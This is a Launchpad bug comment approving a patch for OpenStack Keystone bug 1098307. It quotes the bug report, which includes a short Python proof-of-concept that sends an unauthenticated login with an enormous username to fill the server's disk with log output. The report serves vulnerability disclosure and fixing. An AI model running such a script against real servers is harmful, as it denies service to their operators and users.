Comment 38 for bug 1098307

+1 on the Grizzly patch.

Henry
On 23 Jan 2013, at 17:52, Adam Young wrote:

> Grizzly patch looks good. I'll defer to Dolph on the others regarding
> the refactoring, but they look good to me.
>
> --
> You received this bug notification because you are a member of Keystone
> Core Developers, which is subscribed to the bug report.
> https://bugs.launchpad.net/bugs/1098307
>
> Title:
> unauthenticated POST to /tokens can fill up disk/logs
>
> Status in OpenStack Identity (Keystone):
> In Progress
> Status in Keystone folsom series:
> In Progress
>
> Bug description:
> A remote unauthenticated keystone user could potentially fill up the
> disk on a Keystone server by running the following python script:
>
> -----------------------
> from keystoneclient.v2_0 import client
>
> PASSWORD='foobar'
> TENANT='blah'
> USER = '00000' * 9999999
>
> keystone = client.Client(username=USER,
> password=PASSWORD,
> tenant_name=TENANT,
> auth_url='http://localhost:5000/v2.0')
>
> -----------
>
> Running this script will increase the log file size by 100 MB per
> request. NOTE: This happens when running keystone at the default log
> levels:
>
> # verbose = False
> # debug = False
>
>
> Version-Release number of selected component (if applicable):
>
> openstack-keystone-2012.2.1-1.el6ost.noarch (Red Hat)
>
> How reproducible:
>
> *always*
>
> To manage notifications about this bug go to:
> https://bugs.launchpad.net/keystone/+bug/1098307/+subscriptions
>